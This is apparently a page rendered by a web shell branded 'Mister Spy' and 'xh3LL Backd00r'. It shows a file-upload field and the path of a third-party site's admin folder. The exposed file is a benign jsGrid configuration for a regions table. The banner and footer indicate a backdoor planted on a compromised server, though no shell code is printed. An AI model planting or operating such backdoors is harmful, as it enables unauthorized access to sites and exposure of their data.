Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/js/jquery.jsgrid.regiones.init.js

/**
* Theme: Ubold Admin Template
* Author: Coderthemes
* JsGrid page
*/


/**
 * JsGrid Controller
 */

var urlJsonData = "json-regiones.php";
var urlJsonAdd = "json-regiones-add.php";
var urlJsonMod = "json-regiones-mod.php";
var urlJsonDel = "json-regiones-del.php";
var EntidadNombre = "RegiĆ³n";

disableInsert = true;
disableEdit = true;

var DelegadosF = [{IdDelegado: '', NombreCompleto: 'Indistinto' }].concat(Delegados);

var fields_grid =  [
                {
                	name: "IdDelegado", 
                	title: "Delegado",
                	type: "select", 
                	items: DelegadosF, 
                	valueField: "IdDelegado", 
                	textField: "NombreCompleto",
                	width: "30%", 
                	validate: {
                		validator: function(value) { return value > 0; },
                		message: "Seleccione un delegado"
                	}
                },
                {
                	name: "Nombre", 
                	type: "text", 
                	width: "60%", 
                	validate: {
                		validator: "required",
                		message: "Ingrese el nombre"
                	}
                },
                {
                	type: "control",
                	deleteButtonTooltip: "Eliminar",
            		searchButtonTooltip: "Buscar",
            		editButtonTooltip: "Editar",
            		cancelEditButtonTooltip: "Cancelar",
            		updateButtonTooltip: "Actualizar",
            		insertButtonTooltip: "Insertar",
                	itemTemplate: function(value, item) {
                		var $result = jsGrid.fields.control.prototype.itemTemplate.apply(this, arguments);
                        
                        var $el = $('<input class="jsgrid-button jsgrid-search-button" type="button" title="Ver detalle">');
                		var eb = $result[0];
                		
                		$(eb).on("click", function () {

                            $('#modal-update #IdRegion').val(item.IdRegion);
                            $('#modal-update #IdDelegadoU').val(item.IdDelegado);
                            $('#modal-update #NombreU').val(item.Nombre);
                            
                            Custombox.open({
                                target: '#modal-update',
                                effect: 'fadein',
                                overlaySpeed: 200,
                                overlayColor: '#36404a'
                            });
                            
                        });
                            
                        return $result;
                	}
            	}
            ];

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat